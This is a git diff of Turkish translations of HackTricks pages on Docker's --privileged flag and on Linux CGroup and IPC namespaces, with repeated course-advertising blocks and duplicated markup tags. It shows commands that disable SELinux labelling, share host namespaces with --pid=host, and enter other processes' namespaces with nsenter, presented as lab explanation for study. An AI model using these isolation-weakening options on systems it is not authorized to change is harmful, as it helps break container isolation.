# You can manually disable selinux in docker with
--security-opt label:disable
```
## Etkilenmeyenler
## Hangi Durumları Etkilemez
### Ad Alanları
### Ad alanları (Namespaces)
Ad alanları, `--privileged` bayrağından etkilenmez. Güvenlik kısıtlamaları etkin olmasa da, örneğin sistemdeki veya ana ağda bulunan tüm işlemleri göremezler. Kullanıcılar, ad alanlarını devre dışı bırakmak için **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** konteyner motoru bayraklarını kullanabilirler.
Ad alanları **`--privileged`** bayrağından **ETKİLENMEZ**. Güvenlik kısıtlamaları etkin olmasa da, **örneğin sistemdeki veya ana ağdaki tüm süreçleri göremezler**. Kullanıcılar, **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** konteyner motoru bayraklarını kullanarak bireysel ad alanlarını devre dışı bırakabilirler.
{% tabs %}
{% tab title="Varsayılan ayrıcalıklı konteyner içinde" %}
@ -213,7 +203,7 @@ PID USER TIME COMMAND
```
{% endtab %}
{% tab title="İçinde --pid=host Konteyner" %}
{% tab title="İçinde --pid=host Konteyneri" %}
```bash
# docker run --rm --privileged --pid=host -it alpine sh
ps -ef
@ -228,20 +218,23 @@ PID USER TIME COMMAND
### Kullanıcı ad alanı
**Varsayılan olarak, konteyner motorları, kök olmayan konteynerler için dosya sistemi bağlama ve birden fazla UID kullanma gerektiren durumlar dışında kullanıcı ad alanlarını kullanmaz**. Kök olmayan konteynerler için gerekli olan kullanıcı ad alanları, devre dışı bırakılamaz ve ayrıcalıkları kısıtlayarak güvenliği önemli ölçüde artırır.
**Varsayılan olarak, konteyner motorları kullanıcı ad alanlarını kullanmaz, yalnızca rootless konteynerler için gereklidir**, bu da dosya sistemi montajı ve birden fazla UID kullanımı için gereklidir. Rootless konteynerler için temel olan kullanıcı ad alanları devre dışı bırakılamaz ve ayrıcalıkları kısıtlayarak güvenliği önemli ölçüde artırır.
## Referanslar
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,77 +1,93 @@
# Ad alanları
# Namespaces
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
### **PID ad alanı**
### **PID namespace**
{% content-ref url="pid-namespace.md" %}
[pid-namespace.md](pid-namespace.md)
{% endcontent-ref %}
### **Mount ad alanı**
### **Mount namespace**
{% content-ref url="mount-namespace.md" %}
[mount-namespace.md](mount-namespace.md)
{% endcontent-ref %}
### **Ağ ad alanı**
### **Network namespace**
{% content-ref url="network-namespace.md" %}
[network-namespace.md](network-namespace.md)
{% endcontent-ref %}
### **IPC Ad Alanı**
### **IPC Namespace**
{% content-ref url="ipc-namespace.md" %}
[ipc-namespace.md](ipc-namespace.md)
{% endcontent-ref %}
### **UTS ad alanı**
### **UTS namespace**
{% content-ref url="uts-namespace.md" %}
[uts-namespace.md](uts-namespace.md)
{% endcontent-ref %}
### Zaman Ad Alanı
### Time Namespace
{% content-ref url="time-namespace.md" %}
[time-namespace.md](time-namespace.md)
{% endcontent-ref %}
### Kullanıcı ad alanı
### User namespace
{% content-ref url="user-namespace.md" %}
[user-namespace.md](user-namespace.md)
{% endcontent-ref %}
### CGroup Ad Alanı
{% content-ref url="cgroup-namespace.md" %}
[cgroup-namespace.md](cgroup-namespace.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,66 +1,67 @@
# CGroup Adı Alanı
# CGroup Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** katkıda bulunun.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Temel Bilgiler
CGroup adı alanı, **bir ad alanı içinde çalışan süreçlerin cgroup hiyerarşilerini izole etme** sağlayan bir Linux çekirdek özelliğidir. Cgroups, **kontrol grupları** anlamına gelen bir çekirdek özelliğidir ve CPU, bellek ve I/O gibi **sistem kaynakları üzerinde sınırlamaları yönetmek ve uygulamak** için süreçleri hiyerarşik gruplara organize etmeyi sağlar.
Cgroup namespace, **bir namespace içinde çalışan süreçler için cgroup hiyerarşilerinin izolasyonunu sağlayan** bir Linux çekirdek özelliğidir. Cgroups, **kontrol grupları** için kısaltmadır ve süreçleri hiyerarşik gruplar halinde organize ederek **sistem kaynakları** üzerinde (CPU, bellek ve I/O gibi) **sınırlamalar** yönetmeyi ve uygulamayı sağlar.
Cgroup adı alanları, diğer ad alanı türleri (PID, mount, ağ vb.) gibi ayrı bir ad alanı türü değildir, ancak ad alanı izolasyonu kavramıyla ilişkilidir. **Cgroup adı alanları, cgroup hiyerarşisinin görünümünü sanallaştırır**, böylece cgroup adı alanında çalışan süreçler, ana bilgisayarda veya diğer ad alanlarında çalışan süreçlerle karşılaştırıldığında hiyerarşinin farklı bir görünümünü elde eder.
Cgroup namespace'leri, daha önce tartıştığımız diğer namespace türleri (PID, mount, network vb.) gibi ayrı bir namespace türü olmasa da, namespace izolasyonu kavramıyla ilişkilidir. **Cgroup namespace'leri, cgroup hiyerarşisinin görünümünü sanallaştırır**, böylece bir cgroup namespace içinde çalışan süreçler, ana makinede veya diğer namespace'lerde çalışan süreçlere kıyasla hiyerarşinin farklı bir görünümüne sahip olur.
### Nasıl Çalışır:
### Nasıl çalışır:
1. Yeni bir cgroup adı alanı oluşturulduğunda, **oluşturan sürecin cgroup'una dayalı bir cgroup hiyerarşisi görünümüyle başlar**. Bu, yeni cgroup adı alanında çalışan süreçlerin, oluşturan sürecin cgroup'ının kökünde yer alan cgroup alt ağacıyla sınırlı olan tüm cgroup hiyerarşisinin bir alt kümesini göreceği anlamına gelir.
2. Bir cgroup adı alanı içindeki süreçler, **kendi cgroup'larını hiyerarşinin kökü olarak görürler**. Bu, ad alanı içindeki süreçlerin bakış açısından, kendi cgroup'ları kök olarak görünür ve kendi alt ağaçlarının dışındaki cgroup'ları göremez veya erişemezler.
3. Cgroup adı alanları, kaynakların doğrudan izolasyonunu sağlamaz; **yalnızca cgroup hiyerarşisi görünümünün izolasyonunu sağlar**. **Kaynak kontrolü ve izolasyonu, cgroup** alt sistemleri (örneğin, cpu, bellek vb.) tarafından hala uygulanır.
1. Yeni bir cgroup namespace oluşturulduğunda, **oluşturan sürecin cgroup'una dayanan bir cgroup hiyerarşisi görünümü ile başlar**. Bu, yeni cgroup namespace içinde çalışan süreçlerin, yalnızca oluşturucu sürecin cgroup'unda köklenen cgroup alt ağacına sınırlı olarak, tüm cgroup hiyerarşisinin bir alt kümesini göreceği anlamına gelir.
2. Bir cgroup namespace içindeki süreçler, **kendi cgroup'larını hiyerarşinin kökü olarak göreceklerdir**. Bu, namespace içindeki süreçlerin bakış açısından, kendi cgroup'larının kök olarak göründüğü ve kendi alt ağaçlarının dışındaki cgroup'ları göremeyecekleri veya erişemeyecekleri anlamına gelir.
3. Cgroup namespace'leri doğrudan kaynakların izolasyonunu sağlamaz; **sadece cgroup hiyerarşisi görünümünün izolasyonunu sağlar**. **Kaynak kontrolü ve izolasyonu hala cgroup** alt sistemleri (örneğin, cpu, bellek vb.) tarafından uygulanmaktadır.
Daha fazla CGroups bilgisi için:
CGroups hakkında daha fazla bilgi için kontrol edin:
{% content-ref url="../cgroups.md" %}
[cgroups.md](../cgroups.md)
{% endcontent-ref %}
## Lab:
## Laboratuvar:
### Farklı Ad Alanları Oluşturma
### Farklı Namespace'ler Oluşturun
#### CLI
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
`--mount-proc` parametresini kullanarak `/proc` dosya sisteminin yeni bir örneğini bağladığınızda, yeni bağlama alanının **o ad alanına özgü işlem bilgilerinin doğru ve izole bir görünümünü** sağlarsınız.
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerine doğru ve izole bir bakış** sağladığınızı garanti edersiniz.
<details>
<summary>Hata: bash: fork: Bellek tahsis edilemedi</summary>
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl işlediği nedeniyle bir hata oluşur. Ana ayrıntılar ve çözüm aşağıda belirtilmiştir:
`unshare` `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
1. **Sorun Açıklaması**:
- Linux çekirdeği, bir işlemin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanının oluşturulmasını başlatan işlem (unshare işlemi olarak adlandırılır) yeni ad alanına girmez; sadece çocuk işlemleri girer.
- `%unshare -p /bin/bash%` komutunu çalıştırmak, `/bin/bash`'i `unshare` ile aynı işlemde başlatır. Sonuç olarak, `/bin/bash` ve çocuk işlemleri orijinal PID ad alanında bulunur.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk işlemi PID 1 olur. Bu işlem çıkış yaptığında, eğer başka işlem yoksa ad alanının temizlenmesini tetikler, çünkü PID 1 yetim işlemleri benimseme özel rolüne sahiptir. Linux çekirdeği daha sonra o ad alanında PID tahsisini devre dışı bırakır.
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır.
2. **Sonuç**:
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine neden olur. Bu, yeni bir işlem oluştururken `alloc_pid` işlevinin yeni bir PID tahsis edememesine ve "Bellek tahsis edilemedi" hatasının oluşmasına yol açar.
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
3. **Çözüm**:
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni bir PID ad alanı oluşturduktan sonra yeni bir işlem çatallamasını sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 haline gelmesini sağlar. `/bin/bash` ve çocuk işlemleri bu yeni ad alanında güvenli bir şekilde sınırlanır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
`unshare` komutunun `-f` bayrağıyla çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ve alt işlemleri bellek tahsis hatasıyla karşılaşmadan çalışabilir.
`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçlerinin bellek tahsis hatası ile karşılaşmadan çalışmasına olanak tanır.
</details>
@ -69,19 +70,11 @@ sudo unshare -C [--mount-proc] /bin/bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Hangi ad alanında olduğunuzu kontrol edin
Bir sürecin hangi ad alanında olduğunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
cat /proc/$$/cgroup
```
Bu komut, mevcut sürecin ad alanını gösteren bir çıktı verecektir. Ad alanı, `/sys/fs/cgroup` dizinindeki bir dosyada listelenir.
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
```
### Tüm CGroup isim alanlarını bulun
### Tüm CGroup ad alanlarını bul
{% code overflow="wrap" %}
```bash
@ -89,27 +82,28 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/nul
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
{% code %}
{% endcode %}
### Bir CGroup ad alanına giriş yapın
### Bir CGroup ad alanına girin
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
Ayrıca, başka bir işlem ad alanına **yalnızca root olarak girebilirsiniz**. Ve başka bir ad alanına **bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/cgroup`) **giremezsiniz**.
Ayrıca, **başka bir işlem ad alanına yalnızca root iseniz girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/cgroup`).
## Referanslar
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,60 @@
# IPC Adı Alanı
# IPC Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
## Temel Bilgiler
IPC (Inter-Process Communication - Süreçler Arası İletişim) adı alanı, Linux çekirdeğinin bir özelliğidir ve mesaj kuyrukları, paylaşılan bellek segmentleri ve semaforlar gibi System V IPC nesnelerinin **izolasyonunu** sağlar. Bu izolasyon, **farklı IPC adı alanlarındaki süreçlerin birbirlerinin IPC nesnelerine doğrudan erişememesini veya değiştirememesini** sağlayarak süreç grupları arasında ek bir güvenlik ve gizlilik katmanı sağlar.
IPC (Inter-Process Communication) namespace, mesaj kuyrukları, paylaşılan bellek segmentleri ve semaforlar gibi Sistem V IPC nesnelerinin **izolasyonunu** sağlayan bir Linux çekirdek özelliğidir. Bu izolasyon, **farklı IPC namespace'lerinde bulunan süreçlerin birbirlerinin IPC nesnelerine doğrudan erişememesini veya bunları değiştirememesini** sağlar ve süreç grupları arasında ek bir güvenlik ve gizlilik katmanı sunar.
### Nasıl Çalışır:
### Nasıl çalışır:
1. Yeni bir IPC adı alanı oluşturulduğunda, **tamamen izole edilmiş bir System V IPC nesnesi kümesiyle başlar**. Bu, yeni IPC adı alanında çalışan süreçlerin, varsayılan olarak diğer ad alanlarındaki veya ana sistemdeki IPC nesnelerine erişememesi veya müdahale edememesi anlamına gelir.
2. Bir ad alanı içinde oluşturulan IPC nesneleri, yalnızca o ad alanındaki süreçler tarafından **görülebilir ve erişilebilir**. Her IPC nesnesi, kendi ad alanı içinde benzersiz bir anahtarla tanımlanır. Anahtar farklı ad alanlarında aynı olabilir, ancak nesneler kendileri izole edilmiştir ve ad alanları arasında erişilemezler.
3. Süreçler, `setns()` sistem çağrısını kullanarak ad alanları arasında hareket edebilir veya `unshare()` veya `clone()` sistem çağrılarını `CLONE_NEWIPC` bayrağıyla kullanarak yeni ad alanları oluşturabilir. Bir süreç yeni bir ad alanına geçtiğinde veya bir ad alanı oluşturduğunda, o ad alanıyla ilişkili IPC nesnelerini kullanmaya başlar.
1. Yeni bir IPC namespace oluşturulduğunda, **tamamen izole bir Sistem V IPC nesne seti** ile başlar. Bu, yeni IPC namespace'inde çalışan süreçlerin varsayılan olarak diğer namespace'lerdeki veya ana sistemdeki IPC nesnelerine erişemeyeceği veya bunlarla etkileşime giremeyeceği anlamına gelir.
2. Bir namespace içinde oluşturulan IPC nesneleri, **yalnızca o namespace içindeki süreçler tarafından görünür ve erişilebilir**. Her IPC nesnesi, kendi namespace'inde benzersiz bir anahtar ile tanımlanır. Anahtar farklı namespace'lerde aynı olabilir, ancak nesneler kendileri izole edilmiştir ve namespace'ler arasında erişilemez.
